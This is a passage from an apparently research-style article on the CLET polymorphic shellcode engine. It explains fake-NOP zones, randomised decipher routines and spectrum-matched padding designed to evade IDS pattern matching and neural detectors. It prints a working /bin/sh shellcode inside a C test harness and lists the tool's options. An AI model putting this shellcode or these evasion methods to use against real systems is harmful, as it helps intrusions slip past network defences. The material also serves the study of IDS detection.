  infection ; a shellcode does not care! We know that the shellcode will 
  be the last thing to be executed so we can do what we want with 
  registers for example, no need to save them.
  We can take good avantage of this, and in our fake-nop don't try to make
  code which makes nothing (like INCR & DECR, ADD & SUB or PUSH & POP...)
  (what could be moreover easily recognizable by an IDS which would
  make code emulation). Our fake-nop is a random one-byte instructions 
  code, and we describe another method (not implemented yet) to improve 
  this, because generating only one-byte instructions is still a weakness.
- The random decipher method has to be polymorphed with random code (but
  not necessarily one-byte instructions) wich makes anything but without
  consequences on the deciphering (hum... not implemented yet :(
- A shellcode must not have zeroes in it, since, for our using, we always
  using strings to stock our code. so we have to take care of it...

Thus, this is what a polymorphic shellcode looks like:
-------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------

Let's now study each part of it.


--[ 4 - Make classical IDS pattern matching inefficient. 

----[ 4.1 - Fake NOPs zone with 2,3 bytes instructions.

------[ 4.1.A - Principles

NOPs are necessary before the shellcode itself. In fact, why is it 
necessary ? Because we don't know exactly where we jump, we just know we    
jump in the middle of the NOPs (cf article of Aleph One [1]). But it is 
not necessary to have NOPs, we can have almost any non-dangerous 
instructions. Indeed, we don't have to save some register, the only
condition we have is to arrive until the decipher routine without errors.   
However we can't use any 'non-dangerous' instructions. Indeed, remember
we don't know exactly where we jump.

One method to avoid this problem is to make the nop zone with only one-
byte instructions. Indeed, in such a case, wherever we jump we fall on
an correct instruction. The problem of such a choice is that there is not
a lot of one byte instructions. It is thus relatively easy for an IDS to 
detect the NOPs zone. Hopefully many one-byte instructions can be coded 
with an uppercase letter, and so we could hide the nop zone in an 
alphanumeric zone using the american-english dictionnary (option -a of 
clet). However, as we explain in 5, such a choice can be inefficience,
above all when the service asked is not an 'alphanumeric service' (cf 5).

Thus the problem is : how could we generate a random fake-nop using 
several-bytes instructions to better covert our fake nop?

There is a simple idea: we could generate two-byte intructions, the
second byte of which is a one-byte instruction or the first byte of a 
two-byte instruction of this type and then recursively.
But let's see what can be problems of such a method.

------[ 4.1.B - Non-dangerous several bytes instructions.

- Instructions using several bytes can be dangerous because they can 
  modify the stack or segment selectors (etc...) with random effects.
  So we have to choice harmless instructions (to do it, the book [3] is 
  our friend... but we have to make a lot of tests on the instructions we
  are choosing). 

- Some times, several-bytes instructions ask for particular suffixes to 
  specify a register or a way of using this instruction (see modR/M 
  [3]). For example, instruction CMP rm32,imm32 (compare) with such a code 
  "0x81 /7 id" is a 6-bytes instruction which asks for a suffix to specify
  the register to use, and this register must belong to the seventh column
  of the "32-bit adressing Forms with the modR/M Byte" (cf[3]). However, 
  remember that everywhere the code pointer is pointing within the 
  fake-nop, it must be able to read a valid code. So the suffix and 
  arguments of instructions must be instructions themselves.

------[ 4.1.C - An easy case

Let's take the string : \x15\x11\xF8\xFA\x81\xF9\x27\x2F\x90\x9E
If we are following this code from the begining, we are reading:

ADC $0x11F8FA81    #instruction demanding 4-bytes argument
STC                #one-byte instructions
DAA
DAS
NOP
SAHF

If we are begining from the second byte, we are reading:
ADC %eax,%edx
CMP %ecx,$0x272F909E

Etc... We can begin from everywhere and read a valid code which makes
nothing dangerous...

------[ 4.1.D Test the fake-nop

char shell[] =
        "\x99\x13\xF6\xF6\xF8"	          //our fake_nop
        "\x21\xF8\xF5\xAE"
        "\x98\x99\x3A\xF8"
        "\xF6\xF8"
        "\x3C\x37\xAF\x9E"
        "\xF9\x3A\xFC"
        "\x9F\x99\xAF\x2F"
        "\xF7\xF8\xF9\xAE"
        "\x3C\x81\xF8\xF9"
        "\x10\xF5\xF5\xF8"
        "\x3D\x13\xF9"
        "\x22\xFD\xF9\xAF"
                                         //shellcode
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


int main()
{
    void (*go)()=(void *) shell;
    go();
    return(0);
}

We test a fake_nop string generate with our code... but it's not really
efficient as you can see :
when the adress (shell+i) of the function go() is change the testing 
program exited with:

shell    -> sh-2.05b$
shell+1  -> sh-2.05b$
shell+2  -> Floating point exception  Argh!
shell+3  -> sh-2.05b$
shell+4  -> sh-2.05b$
...
shell+11 -> sh-2.05b$

We haven't been care enough with the choice and the organization of our
instructions for the fake_nop and then we can randomly have segfaults
or Floating point exceptions...(Really boring)


------[ 4.2 - The decipher routine

There are maybe two different methods to generate a decipher routine:
- you can use always the same routine but modify instructions. For 
instance you can use add eax,2 or inc eax; inc eax; the result will be
the same but the code not.  
- you can generate a different routine of decipher too.

In this two methods, you can add code between instructions of the 
decipher routine. Obviously, this add code mustn't modify running of this
routine. 
CLET have chosen the second approach, and we don't generate code between
instructions because registers we use, order of instructions, type of 
instructions (ADD,SUB,ROL,ROR,XOR) change each time. Thus it is not 
necessary to add instructions...

  * XOR with a fixed size key is not enough

There is a problem with using a decipher routine with only a XOR and a
fixed size key. Mark Ludwig [5] describes it in From virus to antivirus
with a concrete example. The real problem comes from the associativity and 
commutativity of the XOR operation and from the constant size of the key.

Imagine you cipher these two bytes B1 B2 with the key K, you obtain two
ciphered bytes: C1 C2.

            C1 XOR C2 = (B1 XOR K) XOR (B2 XOR K)
                      = B1 XOR K XOR B2 XOR K
                      = B1 XOR B2 XOR K XOR K
                      = B1 XOR B2 XOR (K XOR K)
                      = B1 XOR B2 XOR 0
                      = B1 XOR B2
                      = Constant (independant on K)
	      
We understand why an encrypted shellcode with a only XOR decipher routine
and a fixed size key let a carateristic signature of the shellcode. You
just have to XOR bytes with their neighboor in case of a single byte key,
you will always have the same result, which is independant on K. In case
of you have a key of N bytes, to obtain the signature you XOR bytes k with
bytes k+N. Such a signature could be exploited by the NIDS (however you
need a lot of calculation power).

It's important to notice (thanks for those who tell us ;) ) that the real 
problem is not only a XOR. It's an only-XOR encryption AND a fixed size 
key. Indeed, some vx polymorphic engines, use an only XOR in the 
encryption but the key is not the same for all the ciphering. The key
changes, and size of the key too. In such a case, our demonstration is
inefficient because B1 and B2 are not ciphered with the same key K and you
don't know where is the next byte ciphered with the same key (that's what
you know when you use an only-XOR encryption with a fixed size key of
several bytes.)

So a cipher routine using only a XOR and a fixed size key is not enough.
In CLET we generate routines which cipher with several instructions XOR,
ADD, ROR, ...


  * Random registers

Remember we decide to generate a different decipher routine each time.
Even if we change the type of ciphering each time, it is important too to
modify asembler instructions that make this decipher routine. To do so,
we have decided to change registers used. We need three registers, one
to record address where we are working, one to record byte we are working
on, one more register for all the other things. We have the choice between
eax,ebx,ecx,edx. Thus we randomly use three of this registers each time.


  * Four bytes encryption to defeat spectrum analysis methods.

Let's begin to explain what we call a spectrum and what is spectrum 
analysis.

A spectrum of a paquet gives you bytes and number of this bytes in this 
packet. 

For instance, the following board is a spectrum of a paquet called X:

            |\x00|\x01|\x08|\x0B|\x12|\x1A| ... |\xFE|\xFF|
            -----------------------------------------------
            | 25 | 32 | 04 | 18 | 56 | 43 | ... | 67 | 99 |

This board means that there is 25 \x00 in X, 32 \x01, 0 \x02, ...
This board is what we call spectrum of X. 

A spectrum analysis method makes spectrums of packets and create rules
thanks to these spectrums. Some IDS use spectrum analysis methods to 
discard some packets. For instance, imagine that, in a normal trafic, you
never have packets with more than 20 bytes of \xFF. You can make the 
following rule: discard packets with more than 20 bytes of \xFF. This 
is a very simple rule of spectrum analysis, in fact lots of rules are
generated (with neural approach for instance, see 5.2) about spectrum of
packets. This rules allow an IDS to discard some packets thanks to their
spectrums. This is what we call a spectrum analysis method.

Now, let's see how an IDS can put together pattern matching and spectral
analysis methods.

The idea is to record signatures but not signatures of consecutive bytes,
signatures of spectrum. For instance, for the previous packet X, we 
record: 25, 32, 04, 18, 56, 43, ...., 67, 99. Why these values? Because
if you use a lonely byte encryption these values will always be the same. 

In that way, if we cipher paquet X with the cipher routine XOR 02, ADD 1
we obtain a packet X' which spectrum is:


            |\x03|\x04|\x0A|\x0B|\x11|\x19| ... |\xFD|\xFE|
            -----------------------------------------------
            | 25 | 32 | 18 | 04 | 56 | 43 | ... | 67 | 99 |


This spectrum is different, order of values is different; however we have 
the same values but affected to other bytes. Spectrum signature is the
same. With such a way of encryption, the spectrum of the occurences of
each encrypted bytes is a permutation of the spectrum of the unencrypted
bytes. The encryption of a lonely byte return a value which is unique and
caracteristical of this byte, that's really a problem.

In order to avoid signatures similarities, the shellcode is four bytes 
encrypted and this method prevents us to have a singular spectrum of 
occurences. Indeed, if we crypt FFFFFFFF for instance with XOR AABBCCDD,
ADD 1, we obtain 66554433. Thus, spectrum of X' won't be a permutation 
of spectrum of X. A four-bytes encryption allows us to avoid this kind
of spectrum analysis. 

But spectrum analysis methods are just a kind of more general methods,
called data-mining methods. We will see now what are these methods and 
how we can use spectrum analysis of the trafic to try to defeat this more 
general kind of methods.


--[ 5 - Spectrum Analysis to defeat data mining methods


----[ 5.1 - History 

When vxers had discovered polymorphism, authors of antivirus were afraid 
that it was the ultimate solution and that pattern matching was dead. 
To struggle this new kind of viruses, they decided to modify their 
attacks. Antivirus with heuristic analysis were born. This antivirus tries 
for instance to execute the code in memory and test if this code modifies
its own instructions (if it tries to decipher it for instance), in such
a case, it can be a polymorphed virus.
As we see upper, four-bytes encryption, not using an only XOR and a fixed
size key, fakenop zone with more than one-byte instructions allow to 
'defeat' pattern matching. Perhaps it remains some weaknesses, however we
think that polymorphism engines will be more and more efficient and that
finally it will be too difficult to implement efficient pattern matching
methods in IDS.
Will IDS take example on the antivirus and try to implement heuristic
method? We don't think so because there is a big difference between IDS 
and antivirus, IDS have to work in real time clock mode. They can't record
all packets and analyse them later. Maybe an heuristic approach won't be
used. Besides, Snort IDS, which tries to develop methods against
polymorphed shellcodes, don't use heuristic methods but data mining
methods. It's probably these methods which will be developped, so that's
against these  methods we try to create polymorphic shellcodes as we
explain in 5.3 after having given a quick explaination about data mining
methods.


----[ 5.2 - A example of a data mining method, the neural approach
            or using a perceptron to recognize polymorphic shellcode.


As we explained it before, we want that, from a set of criterions detected
by some network probes, a manager takes a real time reliable decision on 
the network trafic. With the development of polymorphic engines, maybe
pattern matching will become inefficient or too difficult to be
implemented because you have to create lots of rules, perhaps sometimes
you don't know. Is there a solution? We have lots of informations and we
want to treat them quickly to finaly obtain a decision, that's the general
goal of what are called data mining methods.

In fact, the goal of data mining is the following:

from a big set of explanatory variables (X1,..,XN) we search to take a 
decision on an unknown variable Y. Notice that:

* this decision has to be taken quickly (problem of calculating 
  complexity)
* this decision has to be reliable (problem of positif falses...)

There is a lot of methods which belongs to theory of data mining. To
make understanding the CLET approach about anti-data mining methods, we
have decided to show one of them (actually bases of one of them): the 
connexionist method because this method has several qualities for 
intrusion detection:

* the recognition of intrusion is based on learning. For example, with an 
only neuron, the learning consists in choosing the best explanatory
variables X1,...,XN and setting the best values for the parameters 
w1,...wN (cf below). 
* thanks to this learning, a neural network is very flexible and is able
to work with a big number of variables and with explanation of Y with the
variables X1,...,XN ().

So, in a network, such an approach seems to be interesting, since the
number of explanatory variables is certainly huge. Let's explain bases of
it.


------[ 5.2.A - Modelising a neuron.

To understand how can work an IDS using a data-mining method based on
neural approach, we have to understand how work a neuron (so called 
because this kind of programs copy neuron of your brain). The scheme 
below explains how a neuron runs.
As in your brain, a neuron is a simple calculator.

                      ____________
X1 --------w1--------|            | 
                     |            |
X2---------w2--------|            |
                     |   Neuron   |--fh[(w1*X1 + w2*X2 + ... + wN*XN)-B]
...                  |            |
                     |            |
XN --------wN--------|____________|


fh is the function defined by:    |  
fh(x)=1 if x>0                    |  B is called the offset of the neuron.
fh(x)=0 if x<=0                   |

So we understand that the exiting value is 0 or 1 depending of the 
entering value X1,X2,...,XN and depending on w1,w2,...,wN.

------[ 5.2.B - a data-mining method: using neural approach in an IDS.

Imagine now that the value X1,X2,...,XN are values of the data of a 
packet: X1 is the first byte, X2 the second,..., XN the last one (you can
choose X1 the first bit, X2 the second, etc... if you want that the
entering values are 0 or 1) (we can choose too X1 number of \x00, X2 
number of \x01,... there are many methods, we expose one idea here in
order to explain data mining). The question is: which w1,w2,...wN have we 
to choose in order to generate an exiting value of 1 if the packet is a
'dangerous' one and 0 if it is a normal one? We can't find value, our 
neuron have to learn them with the following algorithm:

w1,w2,...,wN is first chosen randomly.
Then we create some packets and some 'dangerous' packets with polymorphic
engine, and we test them with the neuron.
We modify the wI when the exiting value is wrong.

If the exiting value is 0 instead of 1:
wI <- wI + z*xI           0<=I<=N
If the exiting value is 1 instead of 0:
wI <- wI - z*xI           0<=I<=N 

z is a constant value chosen arbitrarily.

In easy stages, neuron will 'learn' to recognize normal packets from
'dangerous' ones. In a real IDS, one neuron is not sufficient, and the 
convergence have to be studied. There is however two big advantages of
neural approach:

* decisions of a neural network depend not directly on rules written by 
humans, they are based on learning which set "weights" of different 
entries of neurons according to the minimization of particular statistical
criterions. So the decisions are more shrewd and more adapted to the local
network traffic than general rules.
* when the field of searching is important (huge data bases for pattern 
matching), data mining approach is quicker because the algorithm has not
to search in a huge data bases and as not to perform a lot of calculations
(when the choice of the network topology, of explanatory variables and
learning are "good"...)


----[ 5.3 - Spectrum Analysis in CLET against data mining method.

The main idea of the method we expose upper, like lots of data mining
methods, is to learn to recognize a normal packet from a 'dangerous' 
packet. So we understand that to struggle this kind of methods, simple 
polymorphism can be not enough, and alphanumeric method (enjoy the 
excellent article of rix), can be inefficient. Indeed, in a case of a 
non-alphanumeric communication, alphanumeric data will be considered as
strange and will create an alert. The question is to know how a polymorph
engine can generate a polymorphic shellcode which will be considered as
normal by an IDS using data mining methods. Maybe CLET engine shows a
beginning of answer. Howerer we are aware of some  weaknesses (for 
nstance the SpectrumFile has no influence under the fakenot zone), we work
today on this weaknesses.
Let's see how it works.

Imagine the following case:

                              _________  
                             | Firewall|       ________
               ---Internet---|    +    |------| Server |
                             |   IDS   |      |________|
                             |_________| 


We can suppose that the IDS analyses the entering packet with a port 
destination 80 and the ip of the server with data mining methods. 
To escape this control, our idea is to generate bytes which values are 
dependant on the probability of this values in a normal trafic:

theo@warmach# sniff eth0 80 2>fingerprint &
theo@warmach$ lynx server.com

The program sniff will listen on interface eth0 the leaving packet with a
destination port 80 and record the data of them in a file fingerprint in
binary.
Then, we begin to navigate normally to record a 'normal' trafic.

theo@warmach$ stat fingerprint Spectralfile

The program stat will generate a file Spectralfile which content have the
following format:

0 (number of bytes \x00 in leaving data destinated to server)
1 (number of bytes \x01 in leaving data destinated to server)
...
FF (number of bytes \xFF in leaving data destinated to server)

This Spectralfile can be generated by lots of methods. Instead of my
example, you can decide to generate it from the trafic on a network, 
you can decide to write it if you have specials demands....

Now the question is, how can we use this file? how can we use a 
description of a trafic? Option f of clet allows us to use a analysis of
a trafic, thanks to this spectral file. 

theo@warmach$ clet -n 100 -c -b 100 -f Spectralfile -B
(cf 6 for options)

Action of option -f is different between the different zones (NOPzone,
decipher routine, shellcode, cramming zone). Indeed we want to modify,
thanks to SpectralFile, process of generation of polymorphic shellcode but
we can't have the same action upon the different zones because we have
constraints depending on zones. It's for instance, in some cases, very 
difficult to generate a fake nop zone according to a spectrum analysis. 

Let see how we can act upon this different zones.


------[ 5.3.1 - Generate cramming bytes zone using spectrum analysis.

The simplest idea is to generate a craming bytes zone which spectrum is 
the same than trafic spectrum:

-------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------
                                                ^
                                                |
                                                |
                                 the probability of these bytes
                               are dependant on the Spectralfile
                                     (without the value \x00)

If there is no file in argument, there is equiprobability for all the 
values (without zero)...
This process of generation is used if you don't use -B option.

However cramming bytes zone is the gold zone. In that way, we can generate
bytes we want. Remember that in some zones, we don't use spectrum 
analysis (like in DecipherRoutine in our version). It will more usefull to
use cramming bytes zone in order to add bytes we lack in previous zones in 
which we can't so easily use spectral file. Let's go!


--------[ 5.3.1.A - A difficult problem

To explain it, we will take a simple example. We are interested in a zone 
where there are only three bytes accepted called A,B,C. A spectrum study
of these zone shows us:

  A: 50
  B: 50
  C: 100

The problem is that, because of our shellcode and our nop_zone, we have
the following fixed beginning of our packet: 

ABBAAAAA (8 bytes)

We can add two bytes with our cramming zone. The question is:
which 2 bytes have we to choose?

The answer is relativy simple, intuitively we think of CC, why?
because C is important in trafic and we don't have it. In fact, if we 
call
Xa the random variable of Bernouilli associated to the number of A in the
   first 9 bytes
Xb the random variable of Bernouilli associated to the number of B in the
   first 9 bytes 
Xc the random variable of Bernouilli associated to the number of C in the
   first 9 bytes

we intuitively compare p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=7)*p(Xb=2)
                   and p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=6)*p(Xb=3)
   

Thus, we choose C because the packet ABBAAAAAC have, spectrumly speaking, 
more probablities to exist than ABBAAAAAA or ABBAAAAAB.

Maybe you can think that it is because C has the most important
probability in the trafic. It's a wrong way of thinking. Indeed, imagine
we have the following beginning:

CCCCCBBB

how have to choose the next byte? we will choose A although A and B have
the same probability to come because of the reason explained upper.

Ok so we choose C. Using the same principles, we then choose C for the
tenth bytes: ABBAAAAACC.

The problem is that we can't use this method to generate the cramming 
bytes. Indeed, this method is fixed. When we write fixed, we want to say 
that the first 8 bytes fixed the two following. That is a weakness!
In that way, if we generate the cramming bytes zone by this method, that 
means that the beginning zone (nop_zone+ decipher + shellcode) will fix 
the cramming zone. If we use a principle, we create a method to recognize
our packet. Take the beginning and try with the same principles to create
a cramming zone. If you obtain the same bytes then the packet have been
created by CLET polymorphism engine (even if it is not easy to find the 
beginning of the cramming bytes zone). You can discard it.

So now we have to introduce a law of probability. Indeed, if we have the
following beginning: ABBAAAAA, we have to increase the probability to 
obtain a C and decrease probability to obtain B or A. But this last 
probabilities mustn't be null! The real question is thus:
how modifying probability of A,B,C in order to finally obtain a packet 
which spectrum is close to trafic spectrum?

------[ 5.3.1.B - A logical idea.

Take the last example: we have 

ABBAAAAA

and a spectrum file with:
A=50; B=50; C=100;

how choosing laws of probabilty?
With notations used upper and in case of all the bytes would have been
chosen using spectrum file, we would have:

E[Xa]=9/4
E[Xb]=9/4
E[Xc]=9/2

E[X] is written for the hope of the random variable X (mathematicaly 
speaking in our case: E[X]=p(X)*size (here 9) because it's a Bernouilli
variable).

In fact we have 6 A and 2 B. 
Because 9/4-6 <0, it will stupid to generate a A, we can write that the
new probability of A is now p(A)=0!

However 9/4-2 >0 and 9/2-0>0 so we can still generate B and C to ajust the
spectrum. We must have p(B)>0 and p(C)>0.
We have:

9/4-2=1/4
9/2-0=9/2

So intuitively, we can think that it is logic that C has a probablity 
(9/2)/(1/4)=18 bigger than probability of B. Thus we have to solve the 
system:

 | p(C)=18*p(B)      ie    | p(B)=1/19
 | p(C)+p(B)=1             | p(C)=18/19

and we obtain laws for generate the ninth byte.
Then we can use the same algorithm to create cramming byte zone.

However this algorithm has the following problem:

the big problem is to know in what conditions we have:

                      E[Xa] ~ sizeof(packet) * p(A) 
                      E[Xb] ~ sizeof(packet) * p(B)
                      E[Xc] ~ sizeof(packet) * p(C)
                      ...
                    when sizeof(cramming zone) ---> +oo
                    ie when sizeof(paquet) -------> +oo

~ means equivalent to (in the mathematical sense).

sizeof(packet) * p(.) would be the hope in case of the whole packet would
have been generated depending on trafic (because in such a case, Xa,Xb,..
would be variables of Bernouilli, see [7]). Remember it's what we want. We
want that our cramming byte zone generate a packet which entire spectrum
is close to trafic spectrum. We want that our laws 'correct' the spectrum
of the beginning. Intuitively we can hope that it will be the case because
we favour lacking bytes over the others. However, it is a bit difficult to
prove it, mathematicaly speaking. Indeed take E[Xa] for instance. It's 
very difficult to write it. In that way laws to generate the N byte 
depending on the N-1 random byte. In our example, laws to generate the 
tenth byte are not the same if we have ABBAAAAAC or ABBAAAAAB. Remember
that to avoid a fixed method the two cases are allowed!
That's for all this reasons we have chosen a simpler method.

------[ 5.3.1.C - CLET Method.

If you don't use the option -B, cramming bytes zone will be generated as
explain in the beginning of 5.3.1, without taking the beginning into 
account. We can begin to explain how this method is implemented, how it 
uses the spectrum file. Imagine we have the following spectrum file:

  0 6
  1 18
  2 13
  3 32
  4 0
  .....
  FC 0
  FD 37
  FE 0
  FF 0

First we can notice that we don't take care of the first line because we
can't generate zeros in our zone. We build the following board:

   |  sizeof(board) |   1   |   2   |   3   |   FC   |
---------------------------------------------------------------
   |   XXXXXXXXX    |  18   | 13+18 | 31+32 |  63+37 |
                              = 31    = 63    = 100


Then we randomly choose a number n between 1 and 100 and we make a 
dichotomic search in the board (to limit the complexity because we have a
sorted board).

if 0  < n <= 18 we generate \x01
if 18 < n <= 31 we generate \x02
if 31 < n <= 63 we generate \x03
if 63 < n <= 100 we generate \xFC

This method allows us to generate a cramming bytes zone with p(1)=18/100,
p(2)=13/100, p(3)=32/100 and p(FC)=37/100, without using float division.

Now let's see how the option -B take the beginning into account.

We take the same example with the same spectrum file:

   |  sizeof(board) |   1   |   2   |   3   |   FC   |
---------------------------------------------------------------
   |   XXXXXXXXX    |  18   | 13+18 | 31+32 |  63+37 |
                              = 31    = 63    = 100

To take the beginning into account, we modify the board with the following
method:

Imagine we have to generate a 800 bytes cramming bytes zone, the beginning
have a size of 200 bytes. In fact, at the end, our packet without the 
adress zone will have a size of 1000 bytes.

We call Ntotal the max value in board (here 100) and b the size of the
packet without the adress zone (here 1000).
b= b1 + b2 (b1 is size of the beginning=fakenop+decipher+shellcode and b2
is size of cramming byte zone). Here b1=200 and b2=800. 

Let's see how we modify the board, for instance with byte \x03. We call q3
the number of byte \x03 we found in the beginning. (here we choose q3=20).

We make q3*Ntotal/b=20*1/10=2 and then we make 63-2=61. We obtain the
following board:

   |  sizeof(board) |   1   |   2   |   3   |   FC   |
---------------------------------------------------------------
   |   XXXXXXXXX    |  18   | 13+18 | 63-02 |  61+37 |
                              = 31    = 61    = 98

So now, we can think that we have a probability of 30/98 to generate \x03,
however this algorithm have to be use to modify all value. The value 98 
will be thus modified. We apply the same algorithm and we can suppose we
finally obtain the board:

   |  sizeof(board) |   1   |   2   |   3   |   FC   |
---------------------------------------------------------------
   |   XXXXXXXXX    |  16   | 11+16 |  57   |  57+33 |
                              = 27             = 90

Finally we see that we obtain laws:

p(\x01)= 16/90
p(\x02)= 11/90
p(\x03)= 30/90
p(\xFC)= 33/90

This laws will be use to generate all the cramming bytes zone.
Intuitively, we understand that, with this method, we correct our
spectrum depending on the values we have in the beginning. The question is
now, can we prove that this method do a right correction, that:

                 E[Xn] ~ b*p(n) when b ---> +oo

where X is a random variable of bernouilli which count the number of the 
byte n in the packet and p(n) the probability of n to appear in the 
trafic. 

If such is the case, that means that E[X], with a sufficient value of b,
is 'like a simple bernoulli hope'. It's like we have generated the whole
packet with probabilities of the trafic!

Let's prove it!

We take the same notation. Ntotal is total sum of data in the trafic. 
b=b1+b2 (b1 size of beginning, b2 size of cramming zone).
We call q(\xA2) number of \xA2 bytes in beginning (fakenop +decipher +
shellcode) and n(\xAE) the number initially written in spectrum file near
AE.

We take a byte that we call TT.

E[Xt] = q(TT) + b2 * p'(TT)

p'(TT) is the probability for having n after modification of the board. As 
we see previously:

                            n(TT) - q(TT)*Ntotal/b         
p'(TT)=  -----------------------------------------------------------
          Ntotal - ( q(\x00)+ q(\x01) +  ...... + q(\xFF) )*Ntotal/b

So we have:

                                 n(TT) - q(TT)*Ntotal/b
E[Xt]=q(TT)+b2*--------------------------------------------------------
               Ntotal - (q(\x00)+ q(\x01) +  ...... + q(\xFF))*Ntotal/b


We simplify by Ntotal:

                           (b2*n(TT))/Ntotal - q(TT)*b2/b
E[Xt]=q(TT) + --------------------------------------------------------
                     1 - (q(\x00)+ q(\x01) +  ...... + q(\xFF))/b

Ok, when b -----> +oo, we have:

b2~b (b=b1+b2 and b1 is a constant)

Obviously q(\x00)=o(b); q(\x01)=o(b);.....

thus (q(\x00)+ q(\x01) +  ...... + q(\xFF))/b = o(1) and:
 1 - (q(\x00)+ q(\x01) +  ...... + q(\xFF))/b -------> 1

so E[Xt] = q(TT) + b*(n(TT)/Ntotal) - q(TT) + o(b)

Moreover we have p(n)=n(TT)/Ntotal so

  E[Xt] = b*p(n) + o(b)

so E[Xt] ~ b*p(n) we got it!

We can notice that we got this relation with the first simple method. We
can so think that this second method is not better. It is wrong because 
remember that this relation doesn't show that a method is good or not, it
just shows if a method is fair or not! This second method takes beginning
into account, so it is better that the simple one. However before 
demonstration we can't know if this method was fair. We just knew that if
it was fair, it will better than the simple one. Now we know that it is 
fair. That's why CLET uses it.


------[ 5.3.2 - Generating shellcode zone using spectrum analysis. 

There is a very simple idea: generating several decipher routines and
using the best one. But how choose the best one? 

Remember we want to generate a shellcode which will be considered as 
normal. So we could think that the best decipher routine is the one which
allows to generate a shellcode which spectrum is close to trafic spectrum.
However it's important to understand that this kind of approach has its 
limits. Indeed, imagine following cases:

We have an IDS which data mining methods is very simple, if it finds a 
byte \xFF in a packet, it generate an alert and discard it. We have the
following spectrum file:

  0 0
  1 0
  .....
  41 15678
  42 23445
  ....

The shellcode we generate will have many \x41 and \x42, but imagine it
has a \xFF in the ciphered shellcode. Our packet will be discarded. 
However if we have done a packet without spectrum file and without a \xFF
byte, this packet would have been accepted. We think that the more the 
shellcode will have a spectrum close to trafic spectrum, the more the 
packet have probability to be accepted. However, it can exist exception as
we see in the example (we can notice that in example the rule was very 
clear, but rules generated by data mining method are less simple). 
The main question is thus: how defining a good polymorph shellcode?

Against data mining method there is a simple idea, we have to define a 
measure which let us to measure a value of a shellcode. How finding this
measure? For the moment we work on a measure which favours shellcode which
spectrum is close to trafic spectrum by giving a heavy value of bytes 
which don't appear in trafic. However, this method is not implemented in
version 1.0.0 because today IDS with data-mining methods are not very 
developped (there is SNORT) and so it is difficult to see what kind of 
caracteristics will be detected (size of packet, spectrum of packet, ...)
and it is so difficult to define a good measure.


------[ 5.3.3 - Generating fakenop zone using spectrum analysis.

In this part, we don't perform to modify the code following the spectrum 
analysis due to difficulties of such an implementation. We just are 
trying to generate random code with the my_random function which gives a 
uniform probability to generate number between min and max... :(
We still could think about a function which would give a weight for each
instruction following the results of a spectrum analysis, and we could
generate fake-nop with a random function whose density function corresponds
to the density of probability given by the former function... 
The problem with this method is that the set of instructions is smaller 
than the set of all the hexa codes that contains the network traffic.
Such a finding automaticaly dodges the issues of our method, and all we
can do is to minimalise the difference of spectrum between our code and
a normal network traffic and try to compensate with other parts of the 
shellcode we better control (like the craming bytes)...
 


----[ 5.4 - Conclusion about anti data-mining methods.

Spectrum Analysis an approach, it's not the only one. We are aware too
that, with methods like neural method exposed upper, it is possible to
generate a filter against CLET polymorphic shellcodes, if you use our
engine as a benchmark to involve your neural system. That's a interessant
way of using! Maybe it is interessant too to think about genetic methods
in order to find the best approach (cf [5]). However, today data-mining
begins and so it's difficult to find the best approach... 


--[ 6 - The CLET Polymorphic Shellcode Engine

----[ 6.1 - Principles

We decided to make a different routine at each time, randomly. We first
generate a XOR (with a random key) at a random place, and then we generate
reversible instructions (as many as you want) : ADD/SUB, ROL/ROR. We don't
generate it in assembly but in a pseudo-assembly language, it is easier to
manipulate pseudo-assembly language at this point of the program because we
have to make two things at the same time : cipher the shellcode and generate
the decipher routine.

Let's see how it works :

                        |
                        |
                        |
                +-------+--------+
                | pseudo-code of |
                |  the decipher  |<----------------+
                |    routine     |                 |
                +----------------+                 |
                 |              |                  |
                 |              |                  |
            traduction    interpretation           |
                 |              +                  |
                 |            cipher               |
                 |              |                  |
                 |              |                  |
                 |              |                 YES
                 |              |                  |
          +-------------+  +-----------+      +----+----+
          |   decipher  |  | ciphered  |      |         |
          |   routine   |  | shellcode +----->| zeroes? |
          |             |  |           |      |         |
          +------+------+  +-----------+      +----+----+
                 |                                 |
                 |                                NO
                 |                                 |
                 |    +----------------------------+
                 |    |
                 |    |
             +-------------+
             | polymorphed |
             |  shellcode  |
             +-------------+



Of course, when a cipher routine has been generated, we test it to see if a
zero appear in the ciphered code (we also take care of not having zeroes in
the keys. If it is the case, we replace it by a 0x01). If it is the case, a
new cipher routine is generated. If it is good, we generate the decipher
routine. We don't insert fake instructions among the true instructions of
the decipher routine, it could improve the generator.

The main frame of our routine is rather the same (this is maybe a weakness)
but we use three registers. But we take care of using different registers
at each time, ie those three registers are chosen at random (cf 4.2)


----[ 6.2 - Using CLET polymorphic engine

theo@warmach$ ./clet -h
_________________________________________________________________________
                                                                        
 The CLET shellcode mutation engine 
  by CLET TEAM:
     Theo Detristan, Tyll Ulenspiegel,
     Mynheer Superbus Von Underduk, Yann Malcom
_________________________________________________________________________


   Don't use it to enter systems, use it to understand systems.

   Version 1.0.0
 
   Syntax : 
      ./clet
        -n nnop : generate nnop NOP. 
        -a      : use american english dictonnary to generate NOP. 
        -c      : print C form of the buffer.
        -i nint : decryption routine has nint instructions (default is 5) 
        -f file : spectrum file used to polymorph.
        -b ncra : generate ncra cramming bytes using spectrum or not
        -B      : cramming bytes zone is adapted to beginning
        -t      : number of bytes generated is a multiple of 4
        -x XXXX : XXXX is the address for the address zone
                  FE011EC9 for instance
        -z nadd : generate address zone of nadd*4 bytes
        -e      : execute shellcode. 
        -d      : dump shellcode to stdout.
        -s      : spectrum analysis.
        -S file : load shellcode from file.
        -E [1-3]: load an embeded shellcode.
        -h      : display this message.

/* Size options:

In bytes:

  -n nnop                                  -b ncra          -z nadd/4
 <-------->                              <--------------><------------->
-------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------

 -t allows that: 

    Size_of_fake_nop_zone + Size_decipher + Size_decipher + Size_cramming
    is a multiple of 4. This option allows to alignate return adresses.

